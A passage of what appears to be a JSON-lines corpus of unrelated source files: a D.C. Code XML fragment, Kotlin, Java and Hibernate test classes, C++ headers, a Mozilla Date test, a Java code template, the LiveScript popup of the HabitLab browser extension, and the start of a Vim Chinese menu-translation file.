<num>(e)</num>\n <text>For the purposes of this section, the term “state” means District-wide and similar to functions, policies, and rules performed by states on a state-wide basis.</text>\n </para>\n <annotations>\n <annotation doc=\"D.C. Law 17-9\" type=\"History\" path=\"§403\">June 12, 2007, D.C. Law 17-9, § 403, 54 DCR 4102</annotation>\n <annotation doc=\"D.C. Law 18-111\" type=\"History\">Mar. 3, 2010, D.C. Law 18-111, § 4032, 57 DCR 181</annotation>\n <annotation doc=\"D.C. Law 19-284\" type=\"History\">Apr. 27, 2013, D.C. Law 19-284, § 4, 60 DCR 2312</annotation>\n <annotation doc=\"D.C. Law 20-76\" type=\"History\">Feb. 22, 2014, D.C. Law 20-76, § 301, 61 DCR 39</annotation>\n <annotation type=\"Mayor's Orders\">Establishment of the State Board of Education’s By laws, see Mayor’s Order 2007-214, October 3, 2007 ( 55 DCR 139).</annotation>\n <annotation type=\"Emergency Legislation\">For temporary (90 days) amendment of this section, see § 3 of the State Board of Education Personnel Authority Amendment Emergency Act of 2013 (D.C. Act 20-46, March 27, 2013, 60 DCR 5453, 20 DCSTAT 545).</annotation>\n <annotation type=\"Emergency Legislation\">For temporary (90 day) amendment of section, see § 4032 of Fiscal Year Budget Support Congressional Review Emergency Amendment Act of 2009 (D.C. Act 18-260, January 4, 2010, 57 DCR 345).</annotation>\n <annotation type=\"Emergency Legislation\">For temporary (90 day) amendment of section, see § 4032 of Fiscal Year 2010 Budget Support Second Emergency Act of 2009 (D.C. Act 18-207, October 15, 2009, 56 DCR 8234).</annotation>\n <annotation type=\"Effect of Amendments\">The 2014 amendment by <cite doc=\"D.C. Law 20-76\">D.C. Law 20-76</cite> added (a)(1A).</annotation>\n <annotation type=\"Effect of Amendments\">The 2013 amendment by <cite doc=\"D.C. Law 19-284\">D.C. Law 19-284</cite> rewrote (d).</annotation>\n <annotation type=\"Effect of Amendments\"><cite doc=\"D.C. Law 18-111\">D.C. Law 18-111</cite> rewrote subsec. (d), which had read as follows: “(d) The Mayor shall, by order, specify the Board’s organizational structure, staff, budget, operations, reimbursement of expenses policy, and other matters affecting the Board’s functions.”</annotation>\n <annotation type=\"Section References\">This section is referenced in <cite path=\"§38-2601\">§ 38-2601</cite> and <cite path=\"§38-2602\">§ 38-2602</cite>.</annotation>\n </annotations>\n</section>\n"} {"text": "package ru.semper_viventem.domain\n\n\ndata class ItemData(\n val title: String,\n val description: String,\n val image: String\n)"} {"text": "package org.hibernate.jpa.test.graphs;\n\nimport java.util.Arrays;\nimport java.util.List;\nimport javax.persistence.CascadeType;\nimport javax.persistence.Entity;\nimport javax.persistence.EntityGraph;\nimport javax.persistence.FetchType;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.ManyToOne;\nimport javax.persistence.OneToMany;\nimport javax.persistence.Table;\n\nimport org.hibernate.Hibernate;\nimport org.hibernate.annotations.Fetch;\nimport org.hibernate.annotations.FetchMode;\nimport org.hibernate.graph.GraphParser;\nimport org.hibernate.graph.GraphSemantic;\nimport org.hibernate.jpa.test.BaseEntityManagerFunctionalTestCase;\n\nimport org.hibernate.testing.TestForIssue;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport static org.hamcrest.CoreMatchers.is;\nimport static org.hibernate.testing.transaction.TransactionUtil.doInJPA;\nimport static org.junit.Assert.assertFalse;\nimport static org.junit.Assert.assertSame;\nimport static org.junit.Assert.assertThat;\nimport static org.junit.Assert.assertTrue;\n\n/**\n * @author Yaroslav Prokipchyn\n * @author Nathan Xu\n */\n@TestForIssue( jiraKey = \"HHH-14212\" )\npublic class FetchGraphTest extends BaseEntityManagerFunctionalTestCase {\n\n\t@Override\n\tprotected Class<?>[] getAnnotatedClasses() {\n\t\treturn new Class<?>[] {\n\t\t\t\tLedgerRecord.class,\n\t\t\t\tLedgerRecordItem.class,\n\t\t\t\tBudgetRecord.class,\n\t\t\t\tTrigger.class,\n\t\t\t\tFinanceEntity.class\n\t\t};\n\t}\n\n\t@Before\n\tpublic void setUp() {\n\t\tdoInJPA( this::entityManagerFactory, entityManager -> {\n\t\t\tTrigger trigger = new Trigger();\n\t\t\tentityManager.persist( trigger );\n\n\t\t\tBudgetRecord budgetRecord = new BudgetRecord();\n\t\t\tbudgetRecord.amount = 100;\n\t\t\tbudgetRecord.trigger = trigger;\n\t\t\tentityManager.persist( budgetRecord );\n\n\t\t\tFinanceEntity client = new FinanceEntity();\n\t\t\tclient.name = \"client\";\n\t\t\tFinanceEntity vendor = new FinanceEntity();\n\t\t\tvendor.name = \"vendor\";\n\t\t\tentityManager.persist( client );\n\t\t\tentityManager.persist( vendor );\n\n\t\t\tLedgerRecordItem item1 = new LedgerRecordItem();\n\t\t\titem1.financeEntity = client;\n\t\t\tLedgerRecordItem item2 = new LedgerRecordItem();\n\t\t\titem2.financeEntity = vendor;\n\t\t\tentityManager.persist( item1 );\n\t\t\tentityManager.persist( item2 );\n\n\t\t\tLedgerRecord ledgerRecord = new LedgerRecord();\n\t\t\tledgerRecord.budgetRecord = budgetRecord;\n\t\t\tledgerRecord.trigger = trigger;\n\t\t\tledgerRecord.ledgerRecordItems= Arrays.asList( item1, item2 );\n\n\t\t\titem1.ledgerRecord = ledgerRecord;\n\t\t\titem2.ledgerRecord = ledgerRecord;\n\n\t\t\tentityManager.persist( ledgerRecord );\n\t\t} );\n\t}\n\n\t@Test\n\tpublic void testCollectionEntityGraph() {\n\t\tdoInJPA( this::entityManagerFactory, entityManager -> {\n\t\t\tfinal EntityGraph<LedgerRecord> entityGraph = GraphParser.parse( LedgerRecord.class, \"budgetRecord, ledgerRecordItems.value(financeEntity)\", entityManager );\n\t\t\tfinal List<LedgerRecord> records = entityManager.createQuery( \"from LedgerRecord\", LedgerRecord.class )\n\t\t\t\t\t.setHint( GraphSemantic.FETCH.getJpaHintName(), entityGraph )\n\t\t\t\t\t.getResultList();\n\t\t\tassertThat( records.size(), is( 1 ) );\n\t\t\trecords.forEach( record -> {\n\t\t\t\tassertFalse( Hibernate.isInitialized( record.trigger ) );\n\t\t\t\tassertTrue( Hibernate.isInitialized( record.budgetRecord ) );\n\t\t\t\tassertFalse( Hibernate.isInitialized( record.budgetRecord.trigger ) );\n\t\t\t\tassertTrue( Hibernate.isInitialized( record.ledgerRecordItems) );\n\t\t\t\tassertThat( record.ledgerRecordItems.size(), is( 2 ) );\n\t\t\t\trecord.ledgerRecordItems.forEach( item -> {\n\t\t\t\t\tassertSame( record, item.ledgerRecord );\n\t\t\t\t\tassertTrue( Hibernate.isInitialized( item.financeEntity ) );\n\t\t\t\t} );\n\t\t\t} );\n\t\t} );\n\t}\n\n\t@Entity(name = \"LedgerRecord\")\n\t@Table(name = \"LedgerRecord\")\n\tstatic class LedgerRecord {\n\t\t@Id\n\t\t@GeneratedValue(strategy = GenerationType.IDENTITY)\n\t\tInteger id;\n\n\t\t@ManyToOne\n\t\tBudgetRecord budgetRecord;\n\n\t\t@OneToMany(mappedBy = \"ledgerRecord\", fetch = FetchType.EAGER, cascade = CascadeType.ALL)\n\t\t@Fetch(FetchMode.SUBSELECT)\n\t\tList<LedgerRecordItem> ledgerRecordItems;\n\n\t\t@ManyToOne\n\t\tTrigger trigger;\n\t}\n\n\t@Entity(name = \"LedgerRecordItem\")\n\t@Table(name = \"LedgerRecordItem\")\n\tstatic class LedgerRecordItem {\n\t\t@Id\n\t\t@GeneratedValue(strategy = GenerationType.IDENTITY)\n\t\tInteger id;\n\n\t\t@ManyToOne\n\t\tLedgerRecord ledgerRecord;\n\n\t\t@ManyToOne\n\t\tFinanceEntity financeEntity;\n\t}\n\n\t@Entity(name = \"BudgetRecord\")\n\t@Table(name = \"BudgetRecord\")\n\tstatic class BudgetRecord {\n\t\t@Id\n\t\t@GeneratedValue(strategy = GenerationType.IDENTITY)\n\t\tInteger id;\n\n\t\tint amount;\n\n\t\t@ManyToOne\n\t\tTrigger trigger;\n\t}\n\n\t@Entity(name = \"Trigger\")\n\t@Table(name = \"TriggerEntity\")\n\tstatic class Trigger {\n\t\t@Id\n\t\t@GeneratedValue(strategy = GenerationType.IDENTITY)\n\t\tInteger id;\n\n\t\tString name;\n\t}\n\n\t@Entity(name = \"FinanceEntity\")\n\t@Table(name = \"FinanceEntity\")\n\tstatic class FinanceEntity {\n\t\t@Id\n\t\t@GeneratedValue(strategy = GenerationType.IDENTITY)\n\t\tInteger id;\n\n\t\tString name;\n\t}\n}\n\n"} {"text": "package ccy.wanandroid_flutter;\n\nimport android.os.Bundle;\nimport io.flutter.app.FlutterActivity;\nimport io.flutter.plugins.GeneratedPluginRegistrant;\n\npublic class MainActivity extends FlutterActivity {\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n GeneratedPluginRegistrant.registerWith(this);\n }\n}\n"} {"text": "// Copyright 2013 Michael E. Stillman.\n\n#ifndef _aring_qq_hpp_\n#define _aring_qq_hpp_\n\n#include \"aring-qq-flint.hpp\"\n#include \"aring-qq-gmp.hpp\"\n\nnamespace M2 {\nclass ARingQQFlint;\nclass ARingQQGMP;\n\ntypedef ARingQQGMP ARingQQ;\n};\n\n#endif\n\n// Local Variables:\n// compile-command: \"make -C $M2BUILDDIR/Macaulay2/e \"\n// indent-tabs-mode: nil\n// End:\n"} {"text": "/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */\n/* ***** BEGIN LICENSE BLOCK *****\n * Version: MPL 1.1/GPL 2.0/LGPL 2.1\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http://www.mozilla.org/MPL/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is Mozilla Communicator client code, released\n * March 31, 1998.\n *\n * The Initial Developer of the Original Code is\n * Netscape Communications Corporation.\n * Portions created by the Initial Developer are Copyright (C) 1998\n * the Initial Developer. All Rights Reserved.\n *\n * Contributor(s):\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPL\"), or\n * the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n * in which case the provisions of the GPL or the LGPL are applicable instead\n * of those above. If you wish to allow use of your version of this file only\n * under the terms of either the GPL or the LGPL, and not to allow others to\n * use your version of this file under the terms of the MPL, indicate your\n * decision by deleting the provisions above and replace them with the notice\n * and other provisions required by the GPL or the LGPL. If you do not delete\n * the provisions above, a recipient may use your version of this file under\n * the terms of any one of the MPL, the GPL or the LGPL.\n *\n * ***** END LICENSE BLOCK ***** */\n\n\n/**\n File Name: 15.9.5.17.js\n ECMA Section: 15.9.5.17\n Description: Date.prototype.getUTCMinutes\n\n 1. Let t be this time value.\n 2. If t is NaN, return NaN.\n 3. Return MinFromTime(t).\n\n Author: christine@netscape.com\n Date: 12 november 1997\n*/\n\nvar SECTION = \"15.9.5.17\";\nvar VERSION = \"ECMA_1\";\nstartTest();\nvar TITLE = \"Date.prototype.getUTCMinutes()\";\n\nwriteHeaderToLog( SECTION + \" \"+ TITLE);\n\naddTestCase( TIME_NOW );\naddTestCase( TIME_0000 );\naddTestCase( TIME_1970 );\naddTestCase( TIME_1900 );\naddTestCase( TIME_2000 );\naddTestCase( UTC_FEB_29_2000 );\naddTestCase( UTC_JAN_1_2005 );\n\nnew TestCase( SECTION,\n\t \"(new Date(NaN)).getUTCMinutes()\",\n\t NaN,\n\t (new Date(NaN)).getUTCMinutes() );\n\nnew TestCase( SECTION,\n\t \"Date.prototype.getUTCMinutes.length\",\n\t 0,\n\t Date.prototype.getUTCMinutes.length );\ntest();\n\nfunction addTestCase( t ) {\n for ( m = 0; m <= 60; m+=10 ) {\n t += msPerMinute;\n new TestCase( SECTION,\n\t\t \"(new Date(\"+t+\")).getUTCMinutes()\",\n\t\t MinFromTime(t),\n\t\t (new Date(t)).getUTCMinutes() );\n }\n}\n"} {"text": "/*\n * Copyright (c) 2017, 2018, Oracle and/or its affiliates. All rights reserved.\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2.0,\n * as published by the Free Software Foundation.\n *\n * This program is also distributed with certain software (including\n * but not limited to OpenSSL) that is licensed under separate terms,\n * as designated in a particular file or component or in included license\n * documentation. The authors of MySQL hereby grant you an additional\n * permission to link the program and your derivative works with the\n * separately licensed software that they have included with MySQL.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License, version 2.0, for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n */\n\n#ifndef UNITTEST_GUNIT_XPLUGIN_XCL_MOCK_FACTORY_H_\n#define UNITTEST_GUNIT_XPLUGIN_XCL_MOCK_FACTORY_H_\n\n#include <gmock/gmock.h>\n#include <memory>\n\n#include \"plugin/x/client/xprotocol_factory.h\"\n\nnamespace xcl {\nnamespace test {\n\nclass Mock_factory : public Protocol_factory {\n public:\n MOCK_METHOD1(create_protocol_raw,\n XProtocol *(std::shared_ptr<Context> context));\n MOCK_METHOD1(create_connection_raw,\n XConnection *(std::shared_ptr<Context> context));\n MOCK_METHOD3(create_result_raw,\n XQuery_result *(std::shared_ptr<XProtocol>, Query_instances *,\n std::shared_ptr<Context>));\n\n private:\n std::shared_ptr<XProtocol> create_protocol(\n std::shared_ptr<Context> context) override {\n std::shared_ptr<XProtocol> result{create_protocol_raw(context)};\n\n return result;\n }\n\n std::unique_ptr<XConnection> create_connection(\n std::shared_ptr<Context> context) override {\n std::unique_ptr<XConnection> result{create_connection_raw(context)};\n\n return result;\n }\n\n std::unique_ptr<XQuery_result> create_result(\n std::shared_ptr<XProtocol> protocol, Query_instances *query_instances,\n std::shared_ptr<Context> context) override {\n std::unique_ptr<XQuery_result> result{\n create_result_raw(protocol, query_instances, context)};\n\n return result;\n }\n};\n\n} // namespace test\n} // namespace xcl\n\n#endif // UNITTEST_GUNIT_XPLUGIN_XCL_MOCK_FACTORY_H_\n"} {"text": "package ${package}.service;\n\nimport ${package}.entity.${className}Entity;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * ${comments}Service接口\n *\n * @author ${author}\n * @email ${email}\n * @date ${datetime}\n */\npublic interface ${className}Service {\n\n /**\n * 根据主键查询实体\n *\n * @param id 主键\n * @return 实体\n */\n ${className}Entity queryObject(${pk.attrType} ${pk.attrname});\n\n /**\n * 分页查询\n *\n * @param map 参数\n * @return list\n */\n List<${className}Entity> queryList(Map<String, Object> map);\n\n /**\n * 分页统计总数\n *\n * @param map 参数\n * @return 总数\n */\n int queryTotal(Map<String, Object> map);\n\n /**\n * 保存实体\n *\n * @param ${classname} 实体\n * @return 保存条数\n */\n int save(${className}Entity ${classname});\n\n /**\n * 根据主键更新实体\n *\n * @param ${classname} 实体\n * @return 更新条数\n */\n int update(${className}Entity ${classname});\n\n /**\n * 根据主键删除\n *\n * @param ${pk.attrname}\n * @return 删除条数\n */\n int delete(${pk.attrType} ${pk.attrname});\n\n /**\n * 根据主键批量删除\n *\n * @param ${pk.attrname}s\n * @return 删除条数\n */\n int deleteBatch(${pk.attrType}[] ${pk.attrname}s);\n}\n"} {"text": "######### Libraries\n\nhso_server_url = 'https://green-antonym-197023.wl.r.appspot.com'\n\n{polymer_ext} = require 'libs_frontend/polymer_utils'\n\n{load_css_file} = require 'libs_common/content_script_utils'\n{add_log_feedback, add_log_interventions, add_log_habitlab_disabled, add_log_habitlab_enabled} = require 'libs_backend/log_utils'\n\nswal_cached = null\nget_swal = ->>\n if swal_cached?\n return swal_cached\n swal_cached := await SystemJS.import('sweetalert2')\n return swal_cached\n\nscreenshot_utils_cached = null\nget_screenshot_utils = ->>\n if screenshot_utils_cached?\n return screenshot_utils_cached\n screenshot_utils_cached := await SystemJS.import('libs_common/screenshot_utils')\n return screenshot_utils_cached\n\n{\n get_active_tab_url\n get_active_tab_id\n list_currently_loaded_interventions\n list_currently_loaded_interventions_for_tabid\n get_active_tab_info\n disable_interventions_in_active_tab\n open_debug_page_for_tab_id\n} = require 'libs_backend/background_common'\n\n{\n open_debug_page_for_tab_id\n} = require 'libs_backend/debug_console_utils'\n\n{\n url_to_domain\n} = require 'libs_common/domain_utils'\n\n{\n set_intervention_disabled\n list_enabled_interventions_for_location\n set_intervention_disabled_permanently\n get_enabled_interventions\n set_intervention_enabled\n get_nonpositive_goals_and_interventions\n list_available_interventions_for_location\n get_interventions\n is_it_outside_work_hours\n} = require 'libs_backend/intervention_utils'\n\n{\n get_seconds_spent_on_all_domains_today # map for all domains\n} = require 'libs_common/time_spent_utils'\n\n{\n is_habitlab_enabled\n disable_habitlab\n enable_habitlab\n} = require 'libs_common/disable_habitlab_utils'\n\n{\n list_sites_for_which_goals_are_enabled\n list_goals_for_site\n set_goal_enabled\n set_goal_disabled\n add_enable_custom_goal_reduce_time_on_domain\n} = require 'libs_backend/goal_utils'\n\n{\n localstorage_getjson\n localstorage_setjson\n localstorage_getbool\n localstorage_setbool\n localstorage_setstring\n localstorage_getstring\n} = require 'libs_common/localstorage_utils'\n\n{\n post_json\n get_json\n} = require 'libs_backend/ajax_utils'\n\n{\n get_user_id\n} = require 'libs_backend/background_common'\n\n{\n once_available\n} = require 'libs_frontend/frontend_libs'\n\n\n\npolymer_ext {\n is: 'popup-view'\n properties: {\n enabledInterventions: {\n type: Array\n },\n feedbackText: {\n type: String,\n notify: true\n },\n graphOptions: {\n type: Array\n },\n shownGraphs: {\n type: Array\n },\n graphNamesToOptions: {\n type: Object\n },\n blacklist: {\n type: Object\n },\n sites: {\n type: Array\n },\n html_for_shown_graphs: {\n type: String\n computed: 'compute_html_for_shown_graphs(shownGraphs, blacklist, sites)'\n },\n selected_tab_idx: {\n type: Number\n value: 0\n },\n selected_graph_tab: {\n type: Number,\n value: 0\n }\n goals_and_interventions: {\n type: Array\n value: []\n }\n intervention_name_to_info: {\n type: Object\n value: {}\n }\n #url_override: {\n # type: String\n #}\n is_habitlab_disabled: {\n type: Boolean\n }\n stress_intervention_active: {\n type: Boolean\n }\n stress_intervention_display: {\n type: Boolean\n }\n ask_intervention_done: {\n type: Boolean\n }\n intervention_stress_before: {\n type: Boolean\n }\n intervention_stress_after: {\n type: Boolean\n }\n stress_intervention_data: {\n type: String,\n value: null\n }\n stress_intervention_end: {\n type: String,\n value: null\n }\n }\n\n get_intervention_description: (intervention_name, intervention_name_to_info) ->\n return intervention_name_to_info[intervention_name].description\n\n noValidInterventions: ->\n return this.goals_and_interventions.length === 0\n\n temp_disable_button_clicked: (evt) ->>\n self = this\n intervention = evt.target.intervention\n # <- set_intervention_disabled intervention\n prev_enabled_interventions = await get_enabled_interventions()\n tab_info = await get_active_tab_info()\n url = tab_info.url\n enabledInterventions = await list_currently_loaded_interventions_for_tabid(tab_info.id)\n enabledInterventions = [x for x in enabledInterventions when x != intervention]\n self.enabledInterventions = enabledInterventions\n await disable_interventions_in_active_tab()\n this.fire 'disable_intervention'\n add_log_interventions {\n type: 'intervention_set_temporarily_disabled'\n page: 'popup-view'\n subpage: 'popup-view-active-intervention-tab'\n category: 'intervention_enabledisable'\n now_enabled: false\n is_permanent: false\n manual: true\n url: window.location.href\n tab_url: url\n intervention_name: intervention\n prev_enabled_interventions: prev_enabled_interventions\n }\n #swal({\n # title: 'Disabled!',\n # text: 'This intervention will be disabled temporarily.'\n #})\n\n perm_disable_button_clicked: (evt) ->>\n self = this\n intervention = evt.target.intervention\n prev_enabled_interventions = await get_enabled_interventions()\n await set_intervention_disabled_permanently intervention\n tab_info = await get_active_tab_info()\n url = tab_info.url\n enabledInterventions = await list_currently_loaded_interventions_for_tabid(tab_info.id)\n enabledInterventions = [x for x in enabledInterventions when x != intervention]\n self.enabledInterventions = enabledInterventions\n await disable_interventions_in_active_tab()\n this.fire 'disable_intervention'\n add_log_interventions {\n type: 'intervention_set_permanently_disabled'\n page: 'popup-view'\n subpage: 'popup-view-active-intervention-tab'\n category: 'intervention_enabledisable'\n now_enabled: false\n is_permanent: false\n manual: true\n url: window.location.href\n tab_url: url\n intervention_name: intervention\n prev_enabled_interventions: prev_enabled_interventions\n }\n #swal({\n # title: 'Disabled!',\n # text: 'This intervention will be disabled permanently.'\n #})\n\n is_not_in_blacklist: (graph, blacklist, graphNamesToOptions) ->\n graph = graphNamesToOptions[graph]\n return blacklist[graph] == false\n\n checkbox_checked_handler: (evt) ->\n self = this\n graph = evt.target.graph\n self.blacklist[self.graphNamesToOptions[graph]] = !evt.target.checked\n self.blacklist = JSON.parse JSON.stringify self.blacklist\n localstorage_setjson('popup_view_graph_blacklist', self.blacklist)\n\n sortableupdated: (evt) ->\n self = this\n shownGraphs = this.$$('#graphlist_sortable').innerText.split('\\n').map((.trim())).filter((x) -> x != '')\n this.shownGraphs = shownGraphs.map((graph_name) -> self.graphNamesToOptions[graph_name])\n\n compute_html_for_shown_graphs: (shownGraphs, blacklist, sites) ->\n self = this\n shownGraphs = shownGraphs.filter((x) -> !self.blacklist[x])\n\n\n html = \"<div class=\\\"card-content\\\">\"\n for x in shownGraphs\n if x == 'site-goal-view'\n for site in sites\n\n html += \"<#{x} site=\\\"#{site}\\\"></#{x}><br>\"\n else\n html += \"<#{x}></#{x}><br>\"\n html += \"</div>\"\n return html\n\n isEmpty: (enabledInterventions) ->\n return enabledInterventions? and enabledInterventions.length == 0\n\n outside_work_hours: ->\n return is_it_outside_work_hours!\n\n disable_habitlab_changed: (evt) ->>\n if evt.target.checked\n this.is_habitlab_disabled = true\n disable_habitlab()\n tab_info = await get_active_tab_info()\n loaded_interventions = await list_currently_loaded_interventions_for_tabid(tab_info.id)\n add_log_habitlab_disabled({\n page: 'popup-view',\n reason: 'disable_button_slider_toggle'\n tab_info: tab_info\n url: tab_info?url\n loaded_interventions: loaded_interventions\n loaded_intervention: loaded_interventions[0]\n })\n else\n this.is_habitlab_disabled = false\n enable_habitlab()\n tab_info = await get_active_tab_info()\n loaded_interventions = await list_currently_loaded_interventions_for_tabid(tab_info.id)\n add_log_habitlab_enabled({\n page: 'popup-view',\n reason: 'disable_button_slider_toggle'\n tab_info: tab_info\n url: tab_info?url\n loaded_interventions: loaded_interventions\n })\n\n\n\n enable_habitlab_button_clicked: ->>\n this.is_habitlab_disabled = false\n enable_habitlab()\n tab_info = await get_active_tab_info()\n loaded_interventions = await list_currently_loaded_interventions_for_tabid(tab_info.id)\n add_log_habitlab_enabled({\n page: 'popup-view',\n reason: 'enable_habitlab_big_button_clicked'\n tab_info: tab_info\n loaded_interventions: loaded_interventions\n })\n\n goal_enable_button_changed: (evt) ->>\n goal = evt.target.goal\n if evt.target.checked\n # is enabling this goal\n if goal.name?\n await set_goal_enabled goal.name\n else\n await add_enable_custom_goal_reduce_time_on_domain goal.domain\n await this.set_goals_and_interventions!\n else\n # is disabling this goal\n await set_goal_disabled goal.name\n await this.set_goals_and_interventions!\n\n set_goals_and_interventions: ->>\n sites_promise = list_sites_for_which_goals_are_enabled()\n enabledInterventions_promise = list_currently_loaded_interventions()\n intervention_name_to_info_promise = get_interventions()\n all_goals_and_interventions_promise = get_nonpositive_goals_and_interventions()\n url_promise = get_active_tab_url()\n\n [\n sites\n enabledInterventions\n intervention_name_to_info\n all_goals_and_interventions\n url\n ] = await Promise.all [\n sites_promise\n enabledInterventions_promise\n intervention_name_to_info_promise\n all_goals_and_interventions_promise\n url_promise\n ]\n\n this.sites = sites\n this.enabledInterventions = enabledInterventions\n this.intervention_name_to_info = intervention_name_to_info\n\n domain = url_to_domain url\n\n filtered_goals_and_interventions = all_goals_and_interventions.filter (obj) ->\n\n return (obj.goal.domain == domain) # and obj.enabled\n\n if filtered_goals_and_interventions.length == 0\n filtered_goals_and_interventions = [\n {\n enabled: false\n goal: {\n domain: domain\n description: \"Spend less time on #{domain}\"\n }\n }\n ]\n this.goals_and_interventions = filtered_goals_and_interventions\n\n get_power_icon_src: ->\n return chrome.extension.getURL('icons/power_button.svg')\n\n get_thumbs_icon_src:->\n return chrome.extension.getURL('icons/thumbs_i')\n\n debug_button_clicked: ->>\n tab_id = await get_active_tab_id()\n await open_debug_page_for_tab_id(tab_id)\n\n submit_feedback_clicked: ->>\n #screenshot_utils = await SystemJS.import('libs_common/screenshot_utils')\n screenshot_utils = await get_screenshot_utils()\n screenshot = await screenshot_utils.get_screenshot_as_base64()\n data = await screenshot_utils.get_data_for_feedback()\n feedback_form = document.createElement('feedback-form')\n document.body.appendChild(feedback_form)\n feedback_form.screenshot = screenshot\n feedback_form.other = data\n feedback_form.open()\n\n help_icon_clicked: ->>\n await load_css_file('bower_components/sweetalert2/dist/sweetalert2.css')\n swal = await get_swal()\n swal {\n title: 'How HabitLab Works'\n html: '''\n HabitLab will help you achieve your goal by showing you a different <i>nudge</i>, like a news feed blocker or a delayed page loader, each time you visit your goal site.\n <br><br>\n At first, HabitLab will show you a random nudge each visit, and over time it will learn what works most effectively for you.\n <br><br>\n Each visit, HabitLab will test a new nudge and measure how much time you spend on the site. Then it determines the efficacy of each nudge by comparing the time spent per visit when that nudge was deployed, compared to when other nudges are deployed. HabitLab uses an algorithmic technique called <a href=\"https://en.wikipedia.org/wiki/Multi-armed_bandit\" target=\"_blank\">multi-armed-bandit</a> to learn which nudges work best and choose which nudges to deploy, to minimize your time wasted online.\n '''\n allowOutsideClick: true\n allowEscapeKey: true\n #showCancelButton: true\n #confirmButtonText: 'Visit Facebook to see an intervention in action'\n #cancelButtonText: 'Close'\n }\n\n############# STRESS INTERVENTION FUNCTIONS\n\n check_for_survey: ->>\n userid = await get_user_id()\n survey_data = JSON.parse(await get_json(hso_server_url + \"/getSurvey\", \"userid=\" + userid))\n if survey_data !== {}\n localstorage_setjson(\"survey_data\", survey_data)\n once_available(\"survey_button\", this.enable_survey_button())\n\n enable_survey_button: ->>\n survey_data = await localstorage_getjson(\"survey_data\")\n button = document.getElementById(\"survey_button\")\n button.innerHTML = survey_data.button_text\n button.style.display = \"flex\"\n button.disabled = false\n\n disable_survey_button: ->>\n localstorage_setjson(\"survey_data\", {})\n button = document.getElementById(\"survey_button\")\n button.style.display = \"none\"\n button.disabled = true\n\n survey_button_clicked: ->>\n survey_data = localstorage_getjson(\"survey_data\")\n userid = await get_user_id()\n chrome.tabs.create {url: survey_data.url + '?habitlab_userid=' + userid + '&click_location=dropdown'}\n post_json(hso_server_url + \"/surveyClicked\", {\"_id\": survey_data._id, \"userid\":userid,\"click_location\":\"dropdown\"})\n this.disable_survey_button()\n\n results_button_clicked: ->\n chrome.tabs.create {url: 'options.html#overview'}\n\n settings_button_clicked: ->\n chrome.tabs.create {url: 'options.html#settings'}\n\n ready: ->>\n #chrome.browserAction.setBadgeText {text: ''}\n #chrome.browserAction.setBadgeBackgroundColor {color: '#000000'}\n self = this\n is_habitlab_enabled().then (is_enabled) -> self.is_habitlab_disabled = !is_enabled\n\n #FILTER THIS FOR ONLY THE CURRENT GOAL SITE#\n await this.set_goals_and_interventions!\n\n have_enabled_custom_interventions = self.enabledInterventions.map(-> self.intervention_name_to_info[it]).filter(-> it?custom).length > 0\n if self.enabledInterventions.length > 0 and (localstorage_getbool('enable_debug_terminal') or have_enabled_custom_interventions)\n self.S('#debugButton').show()\n\n if self.enabledInterventions.length == 0\n self.selected_tab_idx = 1\n\n localstorage_setbool('popup_view_has_been_opened', true)\n\n survey_data = localstorage_getjson(\"survey_data\")\n\n if survey_data === undefined or survey_data === null\n localstorage_setjson(\"survey_data\",{})\n this.check_for_survey()\n else if survey_data !== {}\n once_available(\"survey_button\", this.enable_survey_button())\n else\n this.check_for_survey()\n\n setTimeout ->>\n require('../bower_components/iron-icon/iron-icon.deps')\n require('../bower_components/iron-icons/iron-icons.deps')\n require('components/graph-donut-top-sites.deps')\n require('components/intervention-view-single-compact.deps')\n require('components/feedback-form.deps')\n\n await get_screenshot_utils()\n await get_swal()\n , 1\n\n}, {\n source: require 'libs_frontend/polymer_methods'\n methods: [\n 'S'\n ]\n}\n"} {"text": "\" Menu Translations: Simplified Chinese\n\" Maintainer: Shun Bai <baishunde@gmail.com>\n\" Previous Maintainer: Yuheng Xie <elephant@linux.net.cn>\n\" Last Change: 2014 Oct 15\n\n\" vim: ts=8 sw=8 noet\n\n\" Quit when menu translations have already been done.\nif exists(\"did_menu_trans\")\n finish\nendif\nlet did_menu_trans = 1\nlet s:keepcpo= &cpo\nset cpo&vim\n\nscriptencoding cp936\n\n\" Help menu\nmenutrans &Help\t\t\t帮助(&H)\nmenutrans &Overview<Tab><F1>\t纵览(&O)<Tab><F1>\nmenutrans &User\\ Manual\t\t用户手册(&U)\nmenutrans &How-to\\ links\tHow-to\\ 指引(&H)\nmenutrans &Find\\.\\.\\.\t\t查找(&F)\\.\\.\\.\nmenutrans &Credits\t\t致谢(&C)\nmenutrans Co&pying\t\t版权(&P)\nmenutrans &Sponsor/Register\t赞助/注册(&S)\nmenutrans O&rphans\t\t孤儿(&R)\nmenutrans &Version\t\t版本(&V)\nmenutrans &About\t\t关于(&A)\n\n\" File menu\nmenutrans &File\t\t\t\t文件(&F)\nmenutrans &Open\\.\\.\\.<Tab>:e\t\t打开(&O)\\.\\.\\.<Tab>:e\nmenutrans Sp&lit-Open\\.\\.\\.<Tab>:sp\t分割并打开(&L)\\.\\.\\.<Tab>:sp\nmenutrans Open\\ Tab\\.\\.\\.<Tab>:tabnew\t打开标签\\.\\.\\.<Tab>:tabnew\nmenutrans 